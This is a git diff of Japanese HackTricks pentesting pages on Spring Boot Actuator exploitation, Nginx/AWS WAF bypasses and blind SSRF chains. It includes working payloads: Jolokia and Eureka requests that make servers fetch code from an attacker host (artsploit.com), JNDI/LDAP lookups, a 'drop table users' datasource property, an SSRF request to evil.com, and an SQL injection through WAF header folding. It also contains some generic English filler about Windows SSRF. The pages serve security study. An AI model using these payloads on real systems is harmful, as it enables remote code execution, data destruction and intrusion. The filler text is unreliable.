{% endhint %}
## 自分で試してみる
Detectifyは、この記事で説明されているいくつかの設定ミスを持つ脆弱なNginxテストサーバーをDockerを使用してセットアップできるGitHubリポジトリを作成しました。見つけてみてください
Detectifyは、この記事で説明されているいくつかの設定ミスを持つ脆弱なNginxテストサーバーをDockerを使用してセットアップできるGitHubリポジトリを作成しました。見つけるために自分で試してみてください!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)

View file

@ -20,29 +20,29 @@
## Spring Boot Actuatorsの悪用
**[https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)からコピーされました。
**コピー元** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
Spring Bootフレームワークには、プロダクションにプッシュする際にWebアプリケーションを監視および管理するための機能であるアクチュエータがいくつか含まれています。監査、ヘルス、およびメトリクスの収集に使用することを意図していますが、誤った設定でサーバーへの隠しドアを開くこともあります。
Spring Bootフレームワークには、プロダクションにデプロイする際にWebアプリケーションを監視および管理するための機能であるアクチュエータがいくつか含まれています。監査、ヘルス、およびメトリクスの収集に使用することを意図していますが、誤った設定でサーバーへの隠しドアを開くこともあります。
Spring Bootアプリケーションが実行されているとき、自動的にいくつかのエンドポイント'/health'、'/trace'、'/beans'、'/env'などがルーティングプロセスに登録されます。Spring Boot 1 - 1.4では、これらのエンドポイントは認証なしでアクセス可能であり、セキュリティ上の重大な問題を引き起こします。Springバージョン1.5以降では、'/health'と'/info'以外のすべてのエンドポイントはデフォルトでセンシティブと見なされ、デフォルトでセキュリティが有効になっていますが、このセキュリティはアプリケーション開発者によってしばしば無効にされています。
以下のアクチュエータエンドポイントは、潜在的な脆弱性につながるセキュリティ上の問題を引き起こす可能性があります:
以下のアクチュエータエンドポイントは、セキュリティ上の問題があり、潜在的な脆弱性につながる可能性があります:
* /dump - スレッドのダンプ(スタックトレースを含む)を表示します
* /trace - 直近のいくつかのHTTPメッセージセッション識別子を含む場合がありますを表示します
* /logfile - ログファイルの内容を出力します
* /shutdown - アプリケーションをシャットダウンします
* /mappings - すべてのMVCコントローラーマッピングを表示します
* /env - 設定環境にアクセスします
* /dump - スレッドのダンプ(スタックトレースを含む)を表示します
* /trace - 直近のいくつかのHTTPメッセージセッション識別子を含む場合がありますを表示します
* /logfile - ログファイルの内容を出力します
* /shutdown - アプリケーションをシャットダウンします
* /mappings - すべてのMVCコントローラーマッピングを表示します
* /env - 設定環境にアクセスします
* /actuator/env
* /restart - アプリケーションを再起動します
* /heapdump - アプリケーションで使用されるJVMからヒープダンプを作成して返します
* /restart - アプリケーションを再起動します
* /heapdump - アプリケーションで使用されるJVMからヒープダンプを作成して返します
Spring 1xでは、これらはルートURLに登録され、2xでは"/actuator/"ベースパスに移動しました。
**悪用方法:**
アクチュエータのほとんどはGETリクエストのみをサポートし、単に機密情報を公開しますが、いくつかのアクチュエータはシェルハンターにとって特に興味深いです:
アクチュエータのほとんどはGETリクエストのみをサポートし、単にセンシティブな設定データを公開しますが、いくつかのアクチュエータはシェルハンターにとって特に興味深いです:
**1. '/jolokia'を介したリモートコード実行**
@ -56,26 +56,26 @@ Spring 1xでは、これらはルートURLに登録され、2xでは"/actuator/"
Logbackライブラリが提供する '**reloadByURL**'アクションは、外部URLからログ設定を再読み込みすることを可能にします。次のようにトリガーすることができます[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
では、なぜログ設定に関心を持つ必要があるのでしょうか主に2つの理由があります
では、なぜログ設定に注意を払う必要があるのでしょうか主に2つの理由があります
1. 設定はXML形式であり、もちろんLogbackは外部エンティティを有効にして解析します。したがって、盲目的なXXEの脆弱性があります。
2. Logbackの設定には、['JNDIから変数を取得する'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)という機能があります。XMLファイルでは、 '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**'のようなタグを含めることができ、name属性はDirContext.lookup()メソッドに渡されます。.lookup()関数に任意の名前を指定できる場合、XXEやHeapDumpさえ必要ありません。完全な**リモートコード実行**が可能です。
**動作原理:**
1. 攻撃者は、'qos.logback.classic.jmx.JMXConfigurator'クラスが提供する'reloadByURL'関数を実行するために、前述のURLをリクエストします。
1. 攻撃者は、前述のURLをリクエストして、'qos.logback.classic.jmx.JMXConfigurator'クラスが提供する'reloadByURL'関数を実行します。
2. 'reloadByURL'関数は、[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)から新しい設定をダウンロードし、Logback設定として解析します。この悪意のある設定には、
2. 'reloadByURL'関数は、[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)から新しい設定をダウンロードし、Logback設定として解析します。この悪意のある設定には、次の内容が含ま
```
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
```
3\. このファイルが脆弱なサーバーで解析されると、「env-entry-name」パラメータ値で指定された攻撃者が制御するLDAPサーバーへの接続が作成され、JNDI解決が行われます。悪意のあるLDAPサーバーは、ターゲットアプリケーション上で提供されたバイトコードの実行をトリガーするために「Reference」タイプのオブジェクトを返す可能性があります。JNDI攻撃については、この[MicroFocusの研究論文](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)で詳しく説明されています。[新しいJNDI攻撃技術](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)以前のブログで説明されているもここで機能します。なぜなら、Spring BootフレームワークではTomcatがデフォルトのアプリケーションサーバーだからです。
3\. このファイルが脆弱なサーバーで解析されると、「env-entry-name」パラメータ値で指定された攻撃者が制御するLDAPサーバーへの接続が作成され、JNDI解決が行われます。悪意のあるLDAPサーバーは、対象アプリケーション上で提供されたバイトコードの実行をトリガーするために「Reference」タイプのオブジェクトを返す可能性があります。JNDI攻撃については、この[MicroFocusの研究論文](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)で詳しく説明されています。[新しいJNDI攻撃技術](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)以前のブログで説明されているもここで機能します。なぜなら、Spring BootフレームワークではTomcatがデフォルトのアプリケーションサーバーだからです。
**2. '/env'を介した設定の変更**
Spring Cloud Librariesがクラスパスにある場合、**'/env'**エンドポイントを使用してSpringの環境プロパティを変更することができます。 '**@ConfigurationProperties**'で注釈付けされたすべてのビーンを変更および再バインドすることができます。制御できるプロパティの一部は、'/configprops'アクチュエータエンドポイントにリストされていますが、すべてではありません。実際には、たくさんありますが、何を変更すれば目的を達成できるのかは全く明確ではありません。それらと遊んで数日を過ごした後、私たちはこれを見つけました:
Spring Cloud Librariesがクラスパスにある場合、**'/env'**エンドポイントを使用してSpringの環境プロパティを変更することができます。 '**@ConfigurationProperties**'で注釈付けされたすべてのビーンを変更および再バインドすることができます。制御できるプロパティの一部は、'/configprops'アクチュエータエンドポイントにリストされていますが、すべてではありません。実際には、たくさんありますが、何を変更すれば目的を達成できるのかは全く明確ではありません。それらを試して数日を過ごした後、私たちはこれを見つけました:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
@ -84,7 +84,7 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
このプロパティは、EurekaサービスURLを任意の値に変更します。Eurekaサーバーは通常、ディスカバリーサーバーとして使用され、ほとんどのSpring Cloudアプリケーションが登録し、ステータスの更新を送信します。ターゲットのクラスパスにEureka-Client <1.8.7がある場合通常Spring Cloud Netflixに含まれていますそれには**XStreamデシリアライゼーションの脆弱性**があります行う必要があるのは'/env'経由で 'eureka.client.serviceUrl.defaultZone'プロパティをサーバーのURL[http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)に設定しその後 '/refresh'エンドポイントを呼び出すことですその後サーバーは次のコンテンツを持つXStreamペイロードを提供するはずです
このプロパティは、EurekaサービスURLを任意の値に変更します。Eurekaサーバーは通常、ディスカバリーサーバーとして使用され、ほとんどのSpring Cloudアプリケーションが登録し、ステータスの更新を送信します。ターゲットのクラスパスにEureka-Client <1.8.7がある場合通常Spring Cloud Netflixに含まれていますそれには**XStreamデシリアライゼーションの脆弱性**があります行う必要があるのは'/env'経由で 'eureka.client.serviceUrl.defaultZone'プロパティをサーバーのURL[http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)に設定しその後 '/refresh'エンドポイントを呼び出すだけですその後サーバーは次のコンテンツを持つXStreamペイロードを提供するはずです
```markup
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
@ -132,7 +132,7 @@ Spring Actuatorsを使用すると、内部のEurekaサーバーにアクセス
**spring.datasource.tomcat.validationQuery=drop+table+users** - 任意のSQLクエリを指定でき、現在のデータベースに自動的に実行されます。挿入、更新、削除などのステートメントを含めることができます。
![Spring Boot ActuatorsのDrop Tableの悪用](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
![Spring Boot ActuatorsのDrop Tableを悪用する](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - 現在のJDBC接続文字列を変更できます。
@ -142,7 +142,7 @@ Spring Actuatorsを使用すると、内部のEurekaサーバーにアクセス
ここで使用できるトリックは、データベースへの同時接続数を増やすことです。したがって、JDBC接続文字列を変更し、接続数を増やし、その後、アプリケーションに多くのリクエストを送信して負荷をシミュレートします。負荷の下で、アプリケーションは更新された悪意のあるJDBC文字列で新しいデータベース接続を作成します。私はこのテクニックをローカルでMysqlに対してテストしましたが、うまく動作します。
![Spring Boot ActuatorsのMax Activeの悪用](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
![Spring Boot ActuatorsのMax Activeを悪用する](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
それ以外にも興味深いプロパティがありますが、実際にはあまり役に立ちません。
@ -158,7 +158,7 @@ Spring Actuatorsを使用すると、内部のEurekaサーバーにアクセス
他にも興味深いプロパティはたくさんありますが、ほとんどは変更後に直ちに効果がありません。
**注記** Spring Boot 2xでは、'/env'エンドポイントを介してプロパティを変更するためのリクエスト形式がわずかに異なりますjson形式を使用します、しかしアイデアは同じです。
**注記:** Spring Boot 2xでは、'/env'エンドポイントを介してプロパティを変更するためのリクエスト形式がわずかに異なりますjson形式を使用します、しかしアイデアは同じです。
**脆弱なアプリの例:**
@ -166,7 +166,7 @@ Spring Actuatorsを使用すると、内部のEurekaサーバーにアクセス
**ブラックボックスの発見:**
デフォルトのアクチュエータの完全なリストはこちらで見つけることができます: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。アプリケーション開発者は@Endpointアテーションを使用して独自のエンドポイントを作成することができることに注意してください。
デフォルトのアクチュエータの完全なリストはこちらで確認できます: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。アプリケーション開発者は@Endpointアテーションを使用して独自のエンドポイントを作成することができることに注意してください。
**2019年5月の更新:**
@ -194,7 +194,7 @@ Content-Length: 0
]]
]
```
このファイルの逆シリアル化は、指定されたURLClassLoaderを使用してScriptEngineManagerのコンストラクタを実行します。要するに、クラスパス内のすべてのライブラリで'ScriptEngineFactory'インターフェースの実装を見つけようとする**'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'**メソッドにつながります。URLClassLoaderを介して新しいライブラリを追加できるため、悪意のあるバイトコードを含む新しい'ScriptEngineFactory'を提供することができます。そのためには、次の必須ファイルを含むjarアーカイブを作成する必要があります[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java)は、実際のバイトコードを含み、コンストラクタに悪意のあるペイロードが含まれているべきです。
このファイルの逆シリアル化は、指定されたURLClassLoaderを使用してScriptEngineManagerのコンストラクタを実行します。要するに、これは**'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'**メソッドにつながります。このメソッドは、クラスパス内のすべてのライブラリから'ScriptEngineFactory'インターフェースの実装を見つけようとします。URLClassLoaderを介して新しいライブラリを追加できるため、悪意のあるバイトコードを含む新しい'ScriptEngineFactory'を提供することができます。そのためには、次の必須ファイルを含むjarアーカイブを作成する必要があります[yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java)は、実際のバイトコードを含み、コンストラクタに悪意のあるペイロードが含まれていす。
```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
@ -207,13 +207,33 @@ e.printStackTrace();
}
}
```
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory)は、単に 'artsploit.AwesomeScriptEngineFactory' への完全な参照を含むテキストファイルである必要があります。これにより、ServiceLoaderがクラス **artsploit.AwesomeScriptEngineFactory** を見つける場所を知ることができます。この攻撃技術は、Spring Cloudがクラスパスにあることが必要ですが、EurekaのXStreamペイロードと比較して、最新バージョンでも機能します。完全なペイロードは、私のGitHubプロジェクト [yaml-payload](https://github.com/artsploit/yaml-payload) で見つけることができます
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory)は、'artsploit.AwesomeScriptEngineFactory'への完全な参照を含むテキストファイルでなければなりません。これにより、ServiceLoaderがクラス'artsploit.AwesomeScriptEngineFactory'の場所を知ることができます。この攻撃技術は、Spring Cloudがクラスパスにあることが必要ですが、EurekaのXStreamペイロードと比較して、最新バージョンでも機能します。完全なペイロードは、私のGitHubプロジェクトで見つけることができます:[yaml-payload](https://github.com/artsploit/yaml-payload)
## Env + H2 RCE
/env + H2の組み合わせを悪用する方法については、のページを参照してください:[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
/env + H2の組み合わせを悪用する方法については、のページを参照してください:[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## 追加情報
## 不正なパス名の解釈によるSpring BootのSSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**この研究**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation)からSpringフレームワークは、HTTPパス名の最初のスラッシュの前にマトリックスパラメータセパレータ文字``を受け入れます:
```http
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
```
以下のようなシナリオでは:
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
Springでは、マトリックスパラメータセパレータの後に任意の文字を許可しているため、`@`文字を使用して任意のエンドポイントを取得することが可能になります。
以下はエクスプロイトリクエストの例です:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## 詳細情報
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
@ -223,10 +243,10 @@ e.printStackTrace();
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -0,0 +1,122 @@
# プロキシ/WAF保護のバイパス
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## Nginx ACLルールのバイパス <a href="#heading-bypassing-nginx-acl-rules-with-nodejs" id="heading-bypassing-nginx-acl-rules-with-nodejs"></a>
Nginxの制限の例
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
### NodeJS
<figure><img src="../.gitbook/assets/image (713).png" alt=""><figcaption></figcaption></figure>
* Nginxはパス名の一部として文字 `\xa0` を含んでいるため、`/admin` URIのACLルールはトリガーされません。その結果、NginxはHTTPメッセージをバックエンドに転送します。
* Node.jsサーバーが`/admin\x0a` URIを受信すると、文字 `\xa0` が削除され、`/admin` エンドポイントの正常な取得が可能になります。
| Nginxのバージョン | **Node.jsバイパス文字** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### Flask
FlaskはURLパスから文字 `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`, `\x09` を削除しますが、NGINXは削除しません。
<figure><img src="../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
| Nginxのバージョン | **Flaskバイパス文字** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### Spring Boot <a href="#heading-bypassing-nginx-acl-rules-with-spring-boot" id="heading-bypassing-nginx-acl-rules-with-spring-boot"></a>
以下に、ACL保護を回避するためにパス名の末尾に文字 `\x09` または を追加するデモンストレーションがあります。
<figure><img src="../.gitbook/assets/image (715).png" alt=""><figcaption></figcaption></figure>
| Nginxのバージョン | **Spring Bootバイパス文字** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### PHP-FPM <a href="#heading-bypassing-nginx-acl-rules-with-php-fpm-integration" id="heading-bypassing-nginx-acl-rules-with-php-fpm-integration"></a>
次のNginx FPMの設定を考えてみましょう
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
`/admin.php/index.php`にアクセスすることで、それをバイパスすることが可能です。
<figure><img src="../.gitbook/assets/image (716).png" alt=""><figcaption></figcaption></figure>
### 予防方法 <a href="#heading-how-to-prevent" id="heading-how-to-prevent"></a>
これらの問題を防ぐために、Nginx ACLルールでは`=`の代わりに`~`式を使用する必要があります。例えば、以下のようになります:
COPYCOPY
```plaintext
location ~* ^/admin {
deny all;
}
```
## 行折り返しを使用してAWS WAF ACLをバイパスする <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
以下の構文を使用することで、HTTPヘッダーのAWS WAF保護をバイパスすることが可能です。AWS WAFはX-QueryヘッダーがSQLインジェクションペイロードを含んでいることを理解しませんが、背後のードサーバーは理解します。
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
## 参考文献
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -5,14 +5,14 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
このセクションは[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)からコピーされました。
このセクションは [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/) からコピーされました。
## Elasticsearch
@ -20,7 +20,7 @@
Elasticsearch が内部で展開されている場合、通常は認証が必要ありません。
部分的に盲目的な SSRF がある場合、ステータスコードを確認できるかどうかをチェックし、次のエンドポイントが 200 を返すかどうかを確認してください:
部分的に盲目的な SSRF がある場合、ステータスコードを確認できる場合、次のエンドポイントが 200 を返すかどうかを確認してください:
```http
/_cluster/health
/_cat/indices
@ -100,25 +100,19 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
```
Windows:
Windows is a widely used operating system developed by Microsoft. It is vulnerable to Server-Side Request Forgery (SSRF) attacks in certain scenarios. SSRF occurs when an attacker is able to make a server perform requests on their behalf, potentially leading to unauthorized access to internal resources or sensitive information.
Windows is a widely used operating system developed by Microsoft. It is vulnerable to Server-Side Request Forgery (SSRF) attacks due to various reasons, including misconfigured security settings and outdated software versions.
There are several common platforms and technologies on Windows that are known to be vulnerable to SSRF attacks. These include:
Some common vulnerable platforms on Windows include:
1. Windows Server: Versions of Windows Server, especially older ones, may have vulnerabilities that can be exploited for SSRF attacks. It is important to keep the server up to date with the latest security patches to mitigate these risks.
1. Internet Information Services (IIS): IIS is a web server software package developed by Microsoft. It is often used to host websites and web applications on Windows servers. Misconfigured IIS servers can be exploited to perform SSRF attacks.
2. Internet Information Services (IIS): IIS is a web server software package developed by Microsoft. Older versions of IIS may have vulnerabilities that can be exploited for SSRF attacks. It is recommended to use the latest version of IIS and apply any available security updates.
2. Microsoft SQL Server: SQL Server is a relational database management system developed by Microsoft. It is commonly used to store and manage data in Windows environments. SSRF vulnerabilities in SQL Server can allow an attacker to make unauthorized requests to internal resources.
